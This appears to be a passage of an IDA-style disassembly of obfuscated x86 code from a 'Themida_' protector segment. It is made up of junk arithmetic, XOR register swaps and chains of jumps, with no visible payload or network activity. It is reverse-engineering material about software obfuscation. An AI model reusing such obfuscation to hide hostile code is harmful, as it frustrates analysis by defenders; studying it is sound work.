		mov	[esp], ebp
		jmp	loc_596D72
; ---------------------------------------------------------------------------


loc_59A516:				; CODE XREF: Themida_:00597987j
		mov	ch, 20h
		dec	ch
		not	ch
		jmp	loc_59B54A
; ---------------------------------------------------------------------------


loc_59A521:				; CODE XREF: Themida_:0059560Bj
		mov	ch, dl
		pop	edx
		mov	dh, ch
		jmp	loc_5A0AB6
; ---------------------------------------------------------------------------


loc_59A52B:				; CODE XREF: Themida_:0059EA73j
		pop	ebp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_596706
; ---------------------------------------------------------------------------


loc_59A53B:				; CODE XREF: Themida_:0059228Aj
		pop	esp
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_592CC5
; ---------------------------------------------------------------------------


loc_59A54A:				; CODE XREF: Themida_:005A2046j
		pop	ecx
		dec	ecx
		xchg	ecx, esi
		jmp	loc_5986B1
; ---------------------------------------------------------------------------


loc_59A553:				; CODE XREF: Themida_:005A243Fj
		add	ebp, ecx
		jmp	loc_59127C
; ---------------------------------------------------------------------------


loc_59A55A:				; CODE XREF: Themida_:00596852j
		mov	ebp, 31012A16h
		sub	ebp, 26D302DFh
		jmp	loc_599A9C
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 51490605h
		push	edx
		jmp	loc_5A15FE
; ---------------------------------------------------------------------------


loc_59A576:				; CODE XREF: Themida_:0059439Bj
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_59DEE8
; ---------------------------------------------------------------------------


loc_59A582:				; CODE XREF: Themida_:0059A91Fj
		pop	esp
		jmp	loc_5A1B77
; ---------------------------------------------------------------------------


loc_59A588:				; CODE XREF: Themida_:00595D2Aj
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		shr	ecx, 0Ah
		jmp	loc_59EC21
; ---------------------------------------------------------------------------


loc_59A59E:				; CODE XREF: Themida_:00593BD9j
		xchg	edi, ebp
		shr	ebp, 6
		jmp	loc_5949D7
; ---------------------------------------------------------------------------


loc_59A5A8:				; CODE XREF: Themida_:00596EA3j
		mov	[esp], ebp
		jmp	loc_5A0DBC
; ---------------------------------------------------------------------------


loc_59A5B0:				; CODE XREF: Themida_:00596289j
		mov	[esp], eax
		jmp	loc_59A6F0
; ---------------------------------------------------------------------------


loc_59A5B8:				; CODE XREF: Themida_:005A3449j
		push	dword ptr [esp]
		jmp	loc_594880
; ---------------------------------------------------------------------------


loc_59A5C0:				; CODE XREF: Themida_:0059363Cj
		push	eax
		mov	eax, 4
		add	esi, eax
		mov	eax, [esp]
		push	ebx
		jmp	loc_5A4B75
; ---------------------------------------------------------------------------


loc_59A5D1:				; CODE XREF: Themida_:005A02FEj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_597EB4
; ---------------------------------------------------------------------------


loc_59A5E8:				; CODE XREF: Themida_:005A0CEAj
		push	ecx
		pop	ebp
		mov	ecx, [esp]
		jmp	loc_5A16AA
; ---------------------------------------------------------------------------


loc_59A5F2:				; CODE XREF: Themida_:0059F73Cj
		sub	ebp, 38BF4F46h
		jmp	loc_599130
; ---------------------------------------------------------------------------


loc_59A5FD:				; CODE XREF: Themida_:005A0C7Ej
		add	ebx, ecx
		push	ecx
		mov	ecx, 15303D2h
		jmp	loc_59CD1D
; ---------------------------------------------------------------------------


loc_59A60A:				; CODE XREF: Themida_:0059929Aj
		xor	bl, al
		push	ebx
		push	3FCh
		pop	ebx
		jmp	loc_5A5548
; ---------------------------------------------------------------------------


loc_59A618:				; CODE XREF: Themida_:0059B4C0j
		mov	cx, [esp]
		jmp	loc_59C8DC
; ---------------------------------------------------------------------------


loc_59A621:				; CODE XREF: Themida_:005A3F09j
		xchg	ebx, [esp]
		pop	ecx
		jmp	loc_5908B9
; ---------------------------------------------------------------------------


loc_59A62A:				; CODE XREF: Themida_:005931BAj
		push	edx
		push	esp
		jmp	loc_5A4BC3
; ---------------------------------------------------------------------------


loc_59A631:				; CODE XREF: Themida_:00596A73j
		push	esi
		push	5648h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0DBE3270h
		jmp	loc_59258D
; ---------------------------------------------------------------------------


loc_59A655:				; CODE XREF: Themida_:00592790j
		or	eax, 37154342h
		dec	eax
		or	eax, 2B6F4C10h
		sub	eax, 1351D680h
		add	edx, eax
		pop	eax
		push	ebp
		push	ebx
		mov	ebx, 44E50FBAh
		mov	ebp, 93D6650Ah
		sub	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_59F11A
; ---------------------------------------------------------------------------


loc_59A685:				; CODE XREF: Themida_:00591915j
		mov	ebp, 73952832h
		add	esi, ebp
		pop	ebp
		xor	esi, 2B917A95h
		shl	esi, 2
		push	1CE7h
		mov	[esp], eax
		mov	eax, 3641EAEh
		sub	esi, eax
		pop	eax
		push	0BA9h
		jmp	loc_5A3C81
; ---------------------------------------------------------------------------


loc_59A6B0:				; CODE XREF: Themida_:00599993j
		add	bl, ch
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	bh, 90h
		push	edx
		jmp	loc_59FE23
; ---------------------------------------------------------------------------


loc_59A6C1:				; CODE XREF: Themida_:00596093j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_59E46C
; ---------------------------------------------------------------------------


loc_59A6CC:				; CODE XREF: Themida_:005A222Cj
		push	ecx
		mov	ecx, 59D844FEh
		inc	ecx
		add	ecx, 253709B4h
		sub	edx, ecx
		jmp	loc_591CA9
; ---------------------------------------------------------------------------


loc_59A6E0:				; CODE XREF: Themida_:00599602j
		mov	[esp], edx
		mov	edx, 0D92D6A59h
		xor	ecx, edx
		pop	edx
		jmp	loc_5A4D75
; ---------------------------------------------------------------------------


loc_59A6F0:				; CODE XREF: Themida_:0059A5B3j
		push	esi
		mov	esi, 2
		mov	eax, esi
		mov	esi, [esp]
		jmp	loc_59543E
; ---------------------------------------------------------------------------


loc_59A700:				; CODE XREF: Themida_:0059F742j
		push	ebp
		jmp	loc_59AE8B
; ---------------------------------------------------------------------------


loc_59A706:				; CODE XREF: Themida_:005A3E4Fj
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59BDB0
; ---------------------------------------------------------------------------


loc_59A716:				; CODE XREF: Themida_:00596AF3j
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_5974DA
; ---------------------------------------------------------------------------


loc_59A735:				; CODE XREF: Themida_:00598AB5j
		or	edx, 65DD6DD8h
		shr	edx, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 3E047107h
		jmp	loc_5A3B03
; ---------------------------------------------------------------------------


loc_59A74E:				; CODE XREF: Themida_:0059E0D1j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_59DC0B
; ---------------------------------------------------------------------------


loc_59A757:				; CODE XREF: Themida_:00590BBCj
		movzx	cx, ah
		push	699Fh
		mov	[esp], ecx
		push	5E87h
		mov	[esp], esp
		jmp	loc_5A1F96
; ---------------------------------------------------------------------------


loc_59A770:				; CODE XREF: Themida_:0059A398j
		pop	ebp
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, 0DB827E28h
		sub	ecx, 3117316Ch
		push	314h
		mov	[esp], edi
		mov	edi, 4BB86860h
		add	ecx, edi
		pop	edi
		add	ecx, eax
		sub	ecx, 4BB86860h
		jmp	loc_5987B0
; ---------------------------------------------------------------------------


loc_59A7A1:				; CODE XREF: Themida_:00598472j
		mov	edx, 4
		add	eax, edx
		pop	edx
		jmp	loc_5A23C7
; ---------------------------------------------------------------------------


loc_59A7AE:				; CODE XREF: Themida_:0059E265j
		mov	ecx, 7B071591h
		xor	edx, ecx
		jmp	loc_596C24
; ---------------------------------------------------------------------------


loc_59A7BA:				; CODE XREF: Themida_:005A4B0Bj
		mov	ebx, [esp]
		push	ecx
		jmp	loc_59D30E
; ---------------------------------------------------------------------------


loc_59A7C3:				; CODE XREF: Themida_:0059B3D3j
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		push	edi
		push	75D02827h
		pop	edi
		add	edi, 71E20719h
		push	edx
		mov	edx, 570C1DC2h
		xor	edx, 41FF6C4Fh
		and	edi, edx
		pop	edx
		jmp	loc_5A3F1C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_593DB1
; ---------------------------------------------------------------------------


loc_59A802:				; CODE XREF: Themida_:0059ADA5j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59AEC3
; ---------------------------------------------------------------------------


loc_59A811:				; CODE XREF: Themida_:005A14E9j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 298C44CAh
		sub	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_59496D
; ---------------------------------------------------------------------------


loc_59A827:				; CODE XREF: Themida_:00592E7Dj
		mov	[esp], ecx
		push	22703194h
		jmp	loc_5A2E41
; ---------------------------------------------------------------------------


loc_59A834:				; CODE XREF: Themida_:00599651j
		pop	ecx
		push	edx
		sub	dword ptr [esp], 79D4448Fh
		pop	esi
		add	esi, 79D4448Fh
		pop	edx
		push	edx
		mov	edx, 49C12987h
		and	edx, 39B431C8h
		shr	edx, 2
		and	edx, 187358B4h
		sub	edx, 0A63274Dh
		dec	edx
		add	edx, 64C24C8Eh
		sub	eax, 6E182184h
		jmp	loc_597EA3
; ---------------------------------------------------------------------------


loc_59A871:				; CODE XREF: Themida_:0059B012j
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	edi, [esp]
		jmp	loc_592F2A
; ---------------------------------------------------------------------------


loc_59A881:				; CODE XREF: Themida_:00591D6Bj
		add	esp, 4
		jmp	loc_591A19
; ---------------------------------------------------------------------------


loc_59A88C:				; CODE XREF: Themida_:00593F90j
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	6522h
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	41E9h
		mov	[esp], ebx
		push	esi
		push	67E65456h
		pop	esi
		add	esi, 9819ABAEh
		mov	ebx, esi
		pop	esi
		jmp	loc_5904B9
; ---------------------------------------------------------------------------


loc_59A8CB:				; CODE XREF: Themida_:005A0EC6j
		pop	ebx
		jmp	loc_59BF9A
; ---------------------------------------------------------------------------


loc_59A8D1:				; CODE XREF: Themida_:005A2A68j
		pop	edx
		xor	ecx, 7C65130Dh
		push	ebx
		mov	ebx, 553E60E0h
		jmp	loc_5A1B29
; ---------------------------------------------------------------------------


loc_59A8E3:				; CODE XREF: Themida_:00593CA6j
		pop	esi
		add	ecx, 0C6A1A1BBh
		mov	esi, ecx
		pop	ecx
		add	dword ptr [esp+4], 11131696h
		sub	[esp+4], esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 11131696h
		jmp	loc_59DB2E
; ---------------------------------------------------------------------------


loc_59A90C:				; CODE XREF: Themida_:005A51BFj
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_59A582
; ---------------------------------------------------------------------------


loc_59A924:				; CODE XREF: Themida_:00595149j
		push	ebx
		mov	ebx, 0
		add	ebx, eax
		mov	ecx, [ebx]
		pop	ebx
		jmp	loc_594277
; ---------------------------------------------------------------------------


loc_59A934:				; CODE XREF: Themida_:0059FE1Ej
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_59BBC5
; ---------------------------------------------------------------------------


loc_59A945:				; CODE XREF: Themida_:00592A30j
		pop	edx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_598ACF
; ---------------------------------------------------------------------------


loc_59A954:				; CODE XREF: Themida_:005940D1j
		push	edi
		mov	edi, 3E0441F3h
		or	ebp, edi
		jmp	loc_59655D
; ---------------------------------------------------------------------------


loc_59A961:				; CODE XREF: Themida_:005A0327j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, 8A48C1h
		shr	eax, 6
		or	eax, 65E5894h
		jmp	loc_59B495
; ---------------------------------------------------------------------------


loc_59A97C:				; CODE XREF: Themida_:0059690Ej
		sub	eax, 61A04D20h
		add	eax, ebp
		add	eax, 61A04D20h
		sub	eax, 150E3102h
		pop	ebp
		push	1E6Bh
		jmp	loc_597A6D
; ---------------------------------------------------------------------------


loc_59A998:				; CODE XREF: Themida_:005920F3j
		mov	[esp], ecx
		sub	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		jmp	loc_591533
; ---------------------------------------------------------------------------


loc_59A9B7:				; CODE XREF: Themida_:0059A3E3j
		mov	edx, 4
		sub	esp, 4
		mov	[esp], edx
		pop	ecx
		pop	edx
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	2D553CE1h
		pop	ecx
		neg	ecx
		push	edi
		mov	edi, 0E683630h
		xor	edi, 5A1453D0h
		xor	edi, 32E27016h
		and	edi, 215B6982h
		push	ebx
		mov	ebx, 57122776h
		jmp	loc_59DB1D
; ---------------------------------------------------------------------------


loc_59A9FC:				; CODE XREF: Themida_:00597DBFj
		push	dword ptr [esp]
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		sub	al, 58h
		sub	al, cl
		jmp	loc_59561B
; ---------------------------------------------------------------------------


loc_59AA1F:				; CODE XREF: Themida_:0059B658j
		push	ecx
		mov	ecx, 1D8710C2h
		shr	ecx, 6
		xor	ecx, 5C136986h
		add	ecx, 6B6E5329h
		not	ecx
		jmp	loc_5971EF
; ---------------------------------------------------------------------------


loc_59AA3B:				; CODE XREF: Themida_:00599CB9j
		add	ebp, esi
		push	ecx
		mov	ecx, 55CE6689h
		jmp	loc_593949
; ---------------------------------------------------------------------------


loc_59AA48:				; CODE XREF: Themida_:0059C53Ej
		push	1253h
		push	esp
		pop	dword ptr [esp]
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		jmp	loc_5A3C56
; ---------------------------------------------------------------------------


loc_59AA60:				; CODE XREF: Themida_:005932F1j
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	eax, 0FFFFFFFFh
		sub	eax, 53104BE9h
		dec	eax
		push	ecx
		push	esi
		jmp	loc_5A34A9
; ---------------------------------------------------------------------------


loc_59AA87:				; CODE XREF: Themida_:00591A51j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5A1EBC
; ---------------------------------------------------------------------------


loc_59AA93:				; CODE XREF: Themida_:00597ABDj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	ecx
		xor	bl, al
		jmp	loc_599868
; ---------------------------------------------------------------------------


loc_59AAAE:				; CODE XREF: Themida_:00595ED2j
		push	esi
		push	ecx
		jmp	loc_5A2045
; ---------------------------------------------------------------------------


loc_59AAB5:				; CODE XREF: Themida_:0059C493j
		add	ch, 44h
		mov	dl, ch
		pop	ecx
		add	ah, dl
		mov	edx, [esp]
		add	esp, 4
		sub	ah, 0A9h
		or	ch, ah
		mov	eax, [esp]
		jmp	loc_598CAC
; ---------------------------------------------------------------------------


loc_59AAD0:				; CODE XREF: Themida_:005968B0j
		dec	bl
		jmp	loc_5A0787
; ---------------------------------------------------------------------------


loc_59AAD7:				; CODE XREF: Themida_:00599753j
		xor	edi, 5DD961B0h
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		mov	edx, esi
		pop	esi
		add	edx, 5A49056Fh
		sub	edx, 163A2480h
		not	edx
		push	edi
		mov	edi, 3FE92638h
		jmp	loc_5A5152
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	730Ah
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 2
		push	edx
		mov	edx, 39DB6D0Fh
		jmp	loc_599123
; ---------------------------------------------------------------------------


loc_59AB26:				; CODE XREF: Themida_:005A4FBEj
		neg	ebx
		xor	ebx, 0E77BE3A7h
		add	edx, ebx
		pop	ebx
		push	eax
		mov	eax, 3E9073C9h
		sub	eax, 7F113130h
		push	esi
		mov	esi, 6B3A2A4Fh
		jmp	loc_592280
; ---------------------------------------------------------------------------


loc_59AB47:				; CODE XREF: Themida_:005A1679j
		pop	edx
		not	edx
		xchg	edx, ebx
		push	3768h
		mov	[esp], esi
		mov	esi, 17B26318h
		push	edx
		jmp	loc_592FBB
; ---------------------------------------------------------------------------


loc_59AB5F:				; CODE XREF: Themida_:00596654j
		push	dx
		add	byte ptr [esp],	1
		pop	dx
		neg	dl
		push	ebx
		mov	bh, 0C3h
		shr	bh, 7
		add	bh, 5Eh
		xor	dl, bh
		pop	ebx
		sub	ch, dl
		mov	edx, [esp]
		add	esp, 4
		sub	ch, 0F1h
		add	al, ch
		pop	ecx
		push	2738h
		mov	[esp], edx
		mov	dl, 0CEh
		push	eax
		mov	al, dl
		jmp	loc_5A1A4D
; ---------------------------------------------------------------------------


loc_59AB95:				; CODE XREF: Themida_:0059C69Bj
		mov	ebp, 10C012BFh
		shr	ebp, 5
		or	ebp, 46BF3A6Ch
		push	edi
		mov	edi, 0E0EB35B0h
		add	ebp, edi
		pop	edi
		mov	ebx, ebp
		jmp	loc_59F174
; ---------------------------------------------------------------------------


loc_59ABB3:				; CODE XREF: Themida_:005A1D11j
		pop	esp
		push	2DADh
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_5962D3
; ---------------------------------------------------------------------------


loc_59ABC3:				; CODE XREF: Themida_:0059AEB6j
		and	eax, 0EA05385h
		jmp	loc_5981DE
; ---------------------------------------------------------------------------


loc_59ABCD:				; CODE XREF: Themida_:00591071j
		inc	ecx
		xor	edx, ecx
		xor	ecx, edx
		jmp	loc_592C48
; ---------------------------------------------------------------------------


loc_59ABD7:				; CODE XREF: Themida_:0059DDC3j
		add	esp, 4
		add	esi, 4
		sub	esi, 2
		xchg	esi, [esp]
		pop	esp
		mov	[esp], dx
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		push	dx
		push	eax
		mov	ah, 90h
		xor	ah, 78h
		dec	ah
		inc	ah
		neg	ah
		sub	ah, 0C9h
		mov	dh, ah
		pop	eax
		mov	bl, dh
		pop	dx
		jmp	loc_595B9A
; ---------------------------------------------------------------------------


loc_59AC0F:				; CODE XREF: Themida_:00595B00j
		xchg	edx, [esp]
		inc	dword ptr [esp]
		jmp	loc_591707
; ---------------------------------------------------------------------------


loc_59AC1A:				; CODE XREF: Themida_:0059CACEj
		mov	edx, 1F5F401Bh
		sub	edx, 20792345h
		push	edi
		push	ebx
		push	edx
		push	22E915F7h
		jmp	loc_5A041D
; ---------------------------------------------------------------------------


loc_59AC32:				; CODE XREF: Themida_:005A35F5j
		pop	ebx
		jmp	loc_59E14A
; ---------------------------------------------------------------------------


loc_59AC38:				; CODE XREF: Themida_:005A50CCj
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_597C08
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59AC59:				; CODE XREF: Themida_:0059C095j
		add	esi, edx
		pop	edx
		push	edx
		jmp	loc_598F27
; ---------------------------------------------------------------------------


loc_59AC62:				; CODE XREF: Themida_:005A4C29j
		or	ch, 6Bh
		jmp	loc_59D9ED
; ---------------------------------------------------------------------------


loc_59AC6A:				; CODE XREF: Themida_:00590DDAj
		push	ebp
		push	4
		pop	ebp
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		jmp	loc_5A52B0
; ---------------------------------------------------------------------------


loc_59AC7C:				; CODE XREF: Themida_:0059EED5j
		sub	ebp, 0F11C15C3h
		add	edi, ebp
		pop	ebp
		jmp	loc_5A440B
; ---------------------------------------------------------------------------


loc_59AC8A:				; CODE XREF: Themida_:0059BF95j
		add	ebx, 6DB2187Dh
		sub	ebx, 127377D0h
		mov	ecx, [esp]
		jmp	loc_5A231E
; ---------------------------------------------------------------------------


loc_59AC9E:				; CODE XREF: Themida_:00597E90j
		add	ch, 86h
		xor	ch, 34h
		sub	ch, 1Dh
		push	eax
		mov	al, ch
		mov	bh, al
		jmp	loc_592424
; ---------------------------------------------------------------------------


loc_59ACB1:				; CODE XREF: Themida_:005902E9j
		add	dword ptr [esp+8], 3BDD45C6h
		add	dword ptr [esp+8], 377E65EFh
		sub	dword ptr [esp+8], 2FD0334Ch
		sub	[esp+8], edi
		add	dword ptr [esp+8], 2FD0334Ch
		sub	dword ptr [esp+8], 377E65EFh
		sub	dword ptr [esp+8], 3BDD45C6h
		pop	edi
		jmp	loc_591CB5
; ---------------------------------------------------------------------------


loc_59ACEB:				; CODE XREF: Themida_:0059F275j
		add	esi, 54573637h
		pop	ebx
		jmp	loc_596CB0
; ---------------------------------------------------------------------------


loc_59ACF7:				; CODE XREF: Themida_:0059C6B8j
		mov	ebx, 282B5D85h
		jmp	loc_597103
; ---------------------------------------------------------------------------


loc_59AD01:				; CODE XREF: Themida_:0059BBAEj
		xor	ebx, 3B5D44C0h
		jmp	loc_5929AD
; ---------------------------------------------------------------------------


loc_59AD0C:				; CODE XREF: Themida_:005995E1j
		dec	edx
		not	edx
		shl	edx, 8
		jmp	loc_5A24BD
; ---------------------------------------------------------------------------


loc_59AD17:				; CODE XREF: Themida_:005916EBj
		mov	[esp], ebp
		mov	ebp, 5A0D5E0Ch
		mov	ebx, ebp
		jmp	loc_59505D
; ---------------------------------------------------------------------------


loc_59AD26:				; CODE XREF: Themida_:005944B8j
		add	esp, 4
		shr	esi, 8
		dec	esi
		add	esi, 0FFFCFFDDh
		sub	eax, 2944529Eh
		add	eax, esi
		add	eax, 2944529Eh
		mov	esi, [esp]
		add	esp, 4
		push	729h
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_596553
; ---------------------------------------------------------------------------


loc_59AD5C:				; CODE XREF: Themida_:0059F197j
		push	ebx
		not	dword ptr [esp]
		jmp	loc_593684
; ---------------------------------------------------------------------------


loc_59AD65:				; CODE XREF: Themida_:005A4B94j
		mov	cx, 3048h
		push	edi
		push	ebp
		mov	bp, 67DBh
		jmp	loc_5998BF
; ---------------------------------------------------------------------------


loc_59AD74:				; CODE XREF: Themida_:0059E6B9j
		mov	[esp], ebx
		jmp	loc_59C2EA
; ---------------------------------------------------------------------------


loc_59AD7C:				; CODE XREF: Themida_:0059A1BBj
		mov	edi, 2
		add	ebx, edi
		pop	edi
		jmp	loc_5A304F
; ---------------------------------------------------------------------------


loc_59AD89:				; CODE XREF: Themida_:0059D662j
		mov	[esp], edi
		push	edx
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_59B4F4
; ---------------------------------------------------------------------------


loc_59AD98:				; CODE XREF: Themida_:0059D610j
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_5A2B01
; ---------------------------------------------------------------------------


loc_59ADA2:				; CODE XREF: Themida_:00593875j
		add	ebp, ecx
		pop	ecx
		jmp	loc_59A802
; ---------------------------------------------------------------------------


loc_59ADAA:				; CODE XREF: Themida_:0059759Fj
		pop	eax
		jmp	loc_590BC1
; ---------------------------------------------------------------------------


loc_59ADB0:				; CODE XREF: Themida_:0059CC8Cj
		xor	edx, [esp]
		jmp	loc_595610
; ---------------------------------------------------------------------------


loc_59ADB8:				; CODE XREF: Themida_:00593A8Aj
		mov	edi, [esp]
		jmp	loc_5A1574
; ---------------------------------------------------------------------------


loc_59ADC0:				; CODE XREF: Themida_:0059C174j
		add	edx, edi
		add	edx, 1F227267h
		push	ecx
		mov	cl, al
		jmp	loc_5A0FA1
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		push	small 1105h
		jmp	loc_592A4A
; ---------------------------------------------------------------------------


loc_59ADDD:				; CODE XREF: Themida_:0059DD59j
		push	esi
		dec	dword ptr [esp]
		pop	esi
		shl	esi, 2
		xchg	ebx, esi
		dec	ebx
		xchg	ebx, esi
		jmp	loc_59668F
; ---------------------------------------------------------------------------


loc_59ADEF:				; CODE XREF: Themida_:005947BEj
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		push	0
		sub	[esp], ebx
		pop	ebx
		jmp	loc_5956A8
; ---------------------------------------------------------------------------


loc_59AE06:				; CODE XREF: Themida_:005943FCj
		pop	esp
		push	6718h
		mov	[esp], ecx
		jmp	loc_59A0BF
; ---------------------------------------------------------------------------


loc_59AE14:				; CODE XREF: Themida_:005A542Fj
		add	esp, 4
		push	ecx
		push	ebx
		push	73E13734h
		pop	ebx
		jmp	loc_59F96A
; ---------------------------------------------------------------------------


loc_59AE27:				; CODE XREF: Themida_:0059D0FEj
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	edi
		mov	edi, 5C2348FCh
		push	eax
		mov	eax, 6C3D999Dh
		add	edi, eax
		pop	eax
		add	ecx, 23DD1644h
		sub	ecx, edi
		sub	ecx, 23DD1644h
		pop	edi
		add	ebx, ecx
		jmp	loc_59DCEE
; ---------------------------------------------------------------------------


loc_59AE53:				; CODE XREF: Themida_:005A5762j
		mov	ah, cl
		dec	ah
		jmp	loc_59F3D0
; ---------------------------------------------------------------------------


loc_59AE5C:				; CODE XREF: Themida_:005A37DDj
		pop	esp
		mov	[esp], edi
		jmp	loc_59F0FD
; ---------------------------------------------------------------------------


loc_59AE65:				; CODE XREF: Themida_:0059559Cj
		pop	eax
		dec	dh
		add	dh, 1Ch
		jmp	loc_59CD8E
; ---------------------------------------------------------------------------


loc_59AE70:				; CODE XREF: Themida_:00591E81j
		shr	ebx, 4
		jmp	loc_594842
; ---------------------------------------------------------------------------


loc_59AE78:				; CODE XREF: Themida_:0059D369j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A0776
; ---------------------------------------------------------------------------


loc_59AE8B:				; CODE XREF: Themida_:0059A701j
		mov	ebp, 1AD93F10h
		jmp	loc_5A2FDA
; ---------------------------------------------------------------------------


loc_59AE95:				; CODE XREF: Themida_:005A420Ej
		xor	al, dh
		mov	edx, [esp]
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59AEAA:				; CODE XREF: Themida_:0059FCE8j
		or	eax, 2520C17h
		sub	eax, 70E01706h
		not	eax
		jmp	loc_59ABC3
; ---------------------------------------------------------------------------


loc_59AEBB:				; CODE XREF: Themida_:005921A9j
		xchg	esi, [esp]
		jmp	loc_59EA78
; ---------------------------------------------------------------------------


loc_59AEC3:				; CODE XREF: Themida_:0059A80Cj
		push	2913h
		jmp	loc_59FB46
; ---------------------------------------------------------------------------


loc_59AECD:				; CODE XREF: Themida_:0059BF75j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59760C
; ---------------------------------------------------------------------------


loc_59AED8:				; CODE XREF: Themida_:005A4903j
		pop	dword ptr [esp]
		not	eax
		xchg	eax, [esp]
		jmp	loc_59033E
; ---------------------------------------------------------------------------


loc_59AEE5:				; CODE XREF: Themida_:00599A22j
		mov	[esp], ecx
		push	26F5h
		mov	[esp], esi
		mov	esi, 43397A26h
		push	ecx
		push	eax
		push	0FBC017Ah
		pop	eax
		shr	eax, 7
		neg	eax
		add	eax, 70C71278h
		push	esi
		mov	esi, 501B3B98h
		dec	esi
		not	esi
		dec	esi
		xor	esi, 2ED9393Bh
		add	esi, 32A31741h
		sub	eax, esi
		pop	esi
		mov	ecx, eax
		pop	eax
		xor	esi, ecx
		jmp	loc_592175
; ---------------------------------------------------------------------------


loc_59AF2A:				; CODE XREF: Themida_:00599870j
		push	esp
		pop	edx
		push	38C3h
		mov	[esp], edi
		push	edx
		push	32A4D4Dh
		push	dword ptr [esp]
		pop	edx
		jmp	loc_596817
; ---------------------------------------------------------------------------


loc_59AF43:				; CODE XREF: Themida_:00596566j
		pop	ebp
		shl	esi, 7
		shr	esi, 4
		dec	esi
		jmp	loc_593A51
; ---------------------------------------------------------------------------


loc_59AF50:				; CODE XREF: Themida_:0059F115j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_59DA43
; ---------------------------------------------------------------------------


loc_59AF61:				; CODE XREF: Themida_:00595259j
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		mov	edi, 253727F1h
		jmp	loc_59262B
; ---------------------------------------------------------------------------


loc_59AF75:				; CODE XREF: Themida_:005A2196j
		pop	eax
		pop	eax
		jmp	loc_5997D3
; ---------------------------------------------------------------------------


loc_59AF7C:				; CODE XREF: Themida_:005945AEj
		and	ebp, 7E58226Fh
		xor	ebp, 3A6872ABh
		add	eax, ebp
		pop	ebp
		push	ecx
		mov	ecx, 928AE248h
		add	eax, ecx
		pop	ecx
		add	edi, eax
		pop	eax
		push	edx
		mov	edx, 7C4C48B9h
		sub	edx, 7C4C48B7h
		jmp	loc_592A2E
